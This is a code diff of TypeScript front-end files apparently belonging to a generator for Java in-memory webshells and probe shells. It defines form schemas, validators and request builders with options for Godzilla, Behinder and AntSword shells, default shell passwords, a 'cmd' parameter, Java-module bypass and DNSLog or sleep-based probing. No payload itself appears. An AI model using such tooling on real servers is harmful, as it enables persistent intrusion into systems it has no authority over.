+export const JDKVersion = [
+  { name: "Java6", value: "50" },
+  { name: "Java8", value: "52" },
+  { name: "Java9", value: "53" },
+  { name: "Java11", value: "55" },
+  { name: "Java17", value: "61" },
+  { name: "Java21", value: "65" },
+];
+
+export enum ShellToolType {
+  Behinder = "Behinder",
+  Godzilla = "Godzilla",
+  Command = "Command",
+  AntSword = "AntSword",
+  Suo5 = "Suo5",
+  NeoreGeorg = "NeoreGeorg",
+  Custom = "Custom",
+}

web/app/types/probeshell.ts

@@ -0,0 +1,70 @@
+export type ProbeMethod = "ResponseBody" | "DNSLog" | "Sleep";
+
+export type ProbeContent =
+  | "BasicInfo"
+  | "Server"
+  | "OS"
+  | "JDK"
+  | "Bytecode"
+  | "Command";
+
+export interface ProbeConfig {
+  probeMethod: string;
+  probeContent: string;
+  shellClassName?: string;
+  targetJreVersion?: string;
+  debug?: boolean;
+  byPassJavaModule?: boolean;
+  shrink?: boolean;
+  staticInitialize?: boolean;
+}
+
+export interface ProbeContentConfig {
+  host?: string;
+  seconds?: number;
+  sleepServer?: string;
+  server?: string;
+  reqParamName?: string;
+}
+
+export interface DNSLogConfig {
+  host: string;
+}
+
+export interface SleepConfig {
+  server: string;
+  sleepServer: string;
+}
+
+export interface ResponseBodyConfig {
+  server: string;
+  reqParamName: string;
+}
+
+export interface PayloadFormValues {
+  probeMethod: ProbeMethod;
+  probeContent?: ProbeContent;
+  debug?: boolean;
+  byPassJavaModule?: boolean;
+  shrink?: boolean;
+  host?: string;
+  server?: string;
+  reqParamName?: string;
+  sleepServer?: string;
+  seconds?: number;
+  packingMethod: string;
+}
+
+export interface ProbeShellGenerateResponse {
+  probeShellResult: ProbeShellResult;
+  packResult?: string;
+  allPackResults?: Map<string, string>;
+}
+
+export interface ProbeShellResult {
+  shellClassName: string;
+  shellSize: number;
+  shellBytesBase64Str: string;
+  probeConfig: ProbeConfig;
+  probeContentConfig: DNSLogConfig | ResponseBodyConfig | SleepConfig;
+}

web/app/types/schema.ts

@@ -0,0 +1,237 @@
+import type { TFunction } from "i18next";
+import { useCallback } from "react";
+import type { FieldErrors, ResolverResult } from "react-hook-form";
+import * as yup from "yup";
+import { ShellToolType } from "./memshell";
+
+export const memShellFormSchema = yup.object({
+  server: yup.string().required().min(1),
+  serverVersion: yup.string().required().min(1),
+  targetJdkVersion: yup.string().optional(),
+  debug: yup.boolean().optional(),
+  byPassJavaModule: yup.boolean().optional(),
+  staticInitialize: yup.boolean().optional(),
+  shellClassName: yup.string().optional(),
+  shellTool: yup.string().required().min(1),
+  shellType: yup.string().required().min(1),
+  urlPattern: yup.string().optional(),
+  godzillaPass: yup.string().optional(),
+  godzillaKey: yup.string().optional(),
+  behinderPass: yup.string().optional(),
+  antSwordPass: yup.string().optional(),
+  commandParamName: yup.string().optional(),
+  implementationClass: yup.string().optional(),
+  headerName: yup.string().optional(),
+  headerValue: yup.string().optional(),
+  injectorClassName: yup.string().optional(),
+  packingMethod: yup.string().required().min(1),
+  shrink: yup.boolean().optional(),
+  shellClassBase64: yup.string().optional(),
+  encryptor: yup.string().optional(),
+});
+
+type ValidationResult = ResolverResult<MemShellFormSchema>;
+
+const urlPatternIsNeeded = (shellType: string) => {
+  if (shellType.startsWith("Agent")) {
+    return false;
+  }
+  return (
+    shellType.endsWith("Servlet") ||
+    shellType.endsWith("ControllerHandler") ||
+    shellType === "HandlerMethod" ||
+    shellType === "HandlerFunction" ||
+    shellType.endsWith("WebSocket")
+  );
+};
+
+const isInvalidUrl = (urlPattern: string | undefined) =>
+  urlPattern === "/" ||
+  urlPattern === "/*" ||
+  !urlPattern?.startsWith("/") ||
+  !urlPattern;
+
+export const useYupValidationResolver = (
+  validationSchema: yup.ObjectSchema<any>,
+  t: TFunction,
+) =>
+  useCallback(
+    async (
+      data: MemShellFormSchema,
+      _context: any,
+    ): Promise<ValidationResult> => {
+      try {
+        const values = (await validationSchema.validate(data, {
+          abortEarly: false,
+        })) as MemShellFormSchema;
+
+        const urlPattern: keyof MemShellFormSchema = "urlPattern";
+        const shellClassBase64: keyof MemShellFormSchema = "shellClassBase64";
+        const serverVersion: keyof MemShellFormSchema = "serverVersion";
+        const errors = {} as any;
+
+        if (
+          urlPatternIsNeeded(values?.shellType) &&
+          isInvalidUrl(values?.urlPattern)
+        ) {
+          errors[urlPattern] = {
+            type: "custom",
+            message: t("memshell:tips.specificUrlPattern"),
+          };
+        }
+        if (
+          values.shellTool === ShellToolType.Custom &&
+          !values.shellClassBase64
+        ) {
+          errors[shellClassBase64] = {
+            type: "custom",
+            message: t("memshell:tips.customShellClass"),
+          };
+        }
+        if (
+          values.server === "TongWeb" &&
+          values.shellType === "Valve" &&
+          values.serverVersion === "unknown"
+        ) {
+          errors[serverVersion] = {
+            type: "custom",
+            message: t("memshell:tips.serverVersion"),
+          };
+        }
+
+        if (
+          values.server === "Jetty" &&
+          (values.shellType === "Handler" ||
+            values.shellType === "JakartaHandler") &&
+          values.serverVersion === "unknown"
+        ) {
+          errors[serverVersion] = {
+            type: "custom",
+            message: t("memshell:tips.serverVersion"),
+          };
+        }
+
+        return {
+          values,
+          errors,
+        };
+      } catch (errors) {
+        if (errors instanceof yup.ValidationError) {
+          return {
+            values: {},
+            errors: errors.inner.reduce(
+              (allErrors, currentError) => {
+                allErrors[currentError.path as keyof MemShellFormSchema] = {
+                  type: currentError.type ?? "validation",
+                  message: currentError.message,
+                };
+                return allErrors;
+              },
+              {} as FieldErrors<MemShellFormSchema>,
+            ),
+          };
+        }
+
+        return {
+          values: {},
+          errors: {
+            server: {
+              type: "unknown",
+              message: "An unexpected validation error occurred",
+            },
+          },
+        };
+      }
+    },
+    [validationSchema, t],
+  );
+
+export type MemShellFormSchema = yup.InferType<typeof memShellFormSchema>;
+
+export type ProbeShellFormSchema = yup.InferType<typeof probeShellFormSchema>;
+
+export const probeShellFormSchema = yup.object().shape({
+  probeMethod: yup.string().required(),
+  probeContent: yup.string().required(),
+  shellClassName: yup.string().optional(),
+  host: yup.string().optional(),
+  server: yup.string().optional(),
+  reqParamName: yup.string().optional(),
+  seconds: yup.number().optional(),
+  sleepServer: yup.string().optional(),
+  packingMethod: yup.string().required(),
+  targetJdkVersion: yup.string().optional(),
+  debug: yup.boolean().optional(),
+  byPassJavaModule: yup.boolean().optional(),
+  shrink: yup.boolean().optional(),
+  staticInitialize: yup.boolean().optional(),
+});
+
+type ProbeValidationResult = ResolverResult<ProbeShellFormSchema>;
+
+export const useYupValidationProbeResolver = (
+  validationSchema: yup.ObjectSchema<any>,
+  t: TFunction,
+) =>
+  useCallback(
+    async (
+      data: ProbeShellFormSchema,
+      _context: any,
+    ): Promise<ProbeValidationResult> => {
+      try {
+        const values = (await validationSchema.validate(data, {
+          abortEarly: false,
+        })) as ProbeShellFormSchema;
+
+        const host: keyof ProbeShellFormSchema = "host";
+        const reqParamName: keyof ProbeShellFormSchema = "reqParamName";
+        const errors = {} as any;
+
+        if (values.probeMethod === "DNSLog" && !values.host) {
+          errors[host] = {
+            type: "custom",
+            message: t("probeshell:tips.dnslog.host.required"),
+          };
+        }
+
+        if (values.probeMethod === "ResponseBody" && !values.reqParamName) {
+          errors[reqParamName] = {
+            type: "custom",
+            message: t("probeshell:tips.response.reqParamName.required"),
+          };
+        }
+        return {
+          values,
+          errors,
+        };
+      } catch (errors) {
+        if (errors instanceof yup.ValidationError) {
+          return {
+            values: {},
+            errors: errors.inner.reduce(
+              (allErrors, currentError) => {
+                allErrors[currentError.path as keyof ProbeShellFormSchema] = {
+                  type: currentError.type ?? "validation",
+                  message: currentError.message,
+                };
+                console.log(allErrors);
+                return allErrors;
+              },
+              {} as FieldErrors<ProbeShellFormSchema>,
+            ),
+          };
+        }
+
+        return {
+          values: {},
+          errors: {
+            server: {
+              type: "unknown",
+              message: "An unexpected validation error occurred",
+            },
+          },
+        };
+      }
+    },
+    [validationSchema, t],
+  );

web/app/utils/transformer.ts

@@ -0,0 +1,113 @@
+import type {
+  InjectorConfig,
+  ShellConfig,
+  ShellToolConfig,
+} from "@/types/memshell";
+import type { ProbeConfig, ProbeContentConfig } from "@/types/probeshell";
+import type {
+  MemShellFormSchema,
+  ProbeShellFormSchema,
+} from "@/types/schema.ts";
+
+export function transformToPostData(formValue: MemShellFormSchema) {
+  const shellConfig: ShellConfig = {
+    server: formValue.server,
+    serverVersion: formValue.serverVersion,
+    shellTool: formValue.shellTool,
+    shellType: formValue.shellType,
+    debug: formValue.debug,
+    targetJreVersion: formValue.targetJdkVersion,
+    byPassJavaModule: formValue.byPassJavaModule,
+    shrink: formValue.shrink,
+  };
+  const shellToolConfig: ShellToolConfig = {
+    shellClassName: formValue.shellClassName,
+    godzillaPass: formValue.godzillaPass,
+    godzillaKey: formValue.godzillaKey,
+    commandParamName: formValue.commandParamName,
+    behinderPass: formValue.behinderPass,
+    antSwordPass: formValue.antSwordPass,
+    headerName: formValue.headerName,
+    headerValue: formValue.headerValue,
+    shellClassBase64: formValue.shellClassBase64,
+    encryptor: formValue.encryptor,
+    implementationClass: formValue.implementationClass,
+  };
+
+  const injectorConfig: InjectorConfig = {
+    urlPattern: formValue.urlPattern,
+    injectorClassName: formValue.injectorClassName,
+    staticInitialize: formValue.staticInitialize,
+  };
+  return {
+    shellConfig,
+    shellToolConfig,
+    injectorConfig,
+    packer: formValue.packingMethod,
+  };
+}
+
+export function transformToProbePostData(formValue: ProbeShellFormSchema) {
+  const probeConfig: ProbeConfig = {
+    probeMethod: formValue.probeMethod,
+    probeContent: formValue.probeContent,
+    shellClassName: formValue.shellClassName,
+    shrink: formValue.shrink,
+    debug: formValue.debug,
+    byPassJavaModule: formValue.byPassJavaModule,
+    staticInitialize: formValue.staticInitialize,
+  };
+  const probeContentConfig: ProbeContentConfig = {
+    host: formValue.host,
+    seconds: formValue.seconds,
+    sleepServer: formValue.sleepServer,
+    server: formValue.server,
+    reqParamName: formValue.reqParamName,
+  };
+
+  return {
+    probeConfig,
+    probeContentConfig,
+    packer: formValue.packingMethod,
+  };
+}
+
+/**
+ * Generates a URL with the current form values as query parameters
+ * @param values The form values
+ * @returns A URL string with query parameters
+ */
+export function generateShareableUrl(values: MemShellFormSchema): string {
+  const params = new URLSearchParams();
+
+  // Helper function to add parameters only if they have non-default values
+  const addParam = (key: string, value: unknown, defaultValue: unknown) => {
+    if (value !== defaultValue) {
+      params.append(key, String(value));
+    }
+  };
+
+  // Add all form values to the URL parameters
+  addParam("server", values.server, "Tomcat");
+  addParam("targetJdkVersion", values.targetJdkVersion, "50");
+  addParam("debug", values.debug, false);
+  addParam("byPassJavaModule", values.byPassJavaModule, false);
+  addParam("shellClassName", values.shellClassName, "");
+  addParam("shellTool", values.shellTool, "Godzilla");
+  addParam("shellType", values.shellType, "Listener");
+  addParam("urlPattern", values.urlPattern, "/*");
+  addParam("godzillaPass", values.godzillaPass, "pass");
+  addParam("godzillaKey", values.godzillaKey, "key");
+  addParam("commandParamName", values.commandParamName, "cmd");
+  addParam("behinderPass", values.behinderPass, "pass");
+  addParam("antSwordPass", values.antSwordPass, "ant");
+  addParam("headerName", values.headerName, "User-Agent");
+  addParam("headerValue", values.headerValue, "test");
+  addParam("injectorClassName", values.injectorClassName, "");
+  addParam("packingMethod", values.packingMethod, "Base64");
+  addParam("shrink", values.shrink, false);
+  addParam("shellClassBase64", values.shellClassBase64, "");
+
+  // Return the current URL with the query parameters
+  return `${window.location.origin}${window.location.pathname}?${params.toString()}`;
+}